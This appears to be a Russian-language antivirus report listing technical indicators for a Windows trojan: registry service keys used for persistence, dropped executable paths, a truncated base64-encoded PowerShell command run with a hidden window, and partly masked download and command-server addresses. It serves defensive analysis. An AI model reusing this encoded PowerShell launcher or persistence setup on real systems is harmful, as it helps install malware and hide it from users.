Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\msltus40] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\msltus40] 'ImagePath' = '"%WINDIR%\SysWOW64\usbui\msltus40.exe"'
- 'msltus40' "%WINDIR%\SysWOW64\usbui\msltus40.exe"
- 'msltus40' %WINDIR%\SysWOW64\usbui\msltus40.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJAFEAWQBKAFUAcABwAG0APQAnAFcASwBPAFkATwB6AHcAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBgAFUAYABSAGkAYABUAFkAUABSAG8AVABgAG8AYwBPAGwAIgAgAD...
- %HOMEPATH%\659.exe
- %WINDIR%\syswow64\usbui\msltus40.exe
- %HOMEPATH%\659.exe в %WINDIR%\syswow64\usbui\msltus40.exe
- '14#.#05.151.124':443
- http://mu###rental.com/wp-includes/uwr_u4_ed3qzbb/
- http://14#.##5.151.124:443/bLzW8OvNXofNxP7r1/gD04Wl1mIPJzG/13WZyA0bZEIaK4sC/6TlBC595l5Zg/ via 14#.#05.151.124
- DNS ASK mu###rental.com
- '%HOMEPATH%\659.exe'
- '%WINDIR%\syswow64\usbui\msltus40.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJAFEAWQBKAFUAcABwAG0APQAnAFcASwBPAFkATwB6AHcAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBgAFUAYABSAGkAYABUAFkAUABSAG8AVABgAG8AYwBPAGwAIgAgAD...' (со скрытым окном)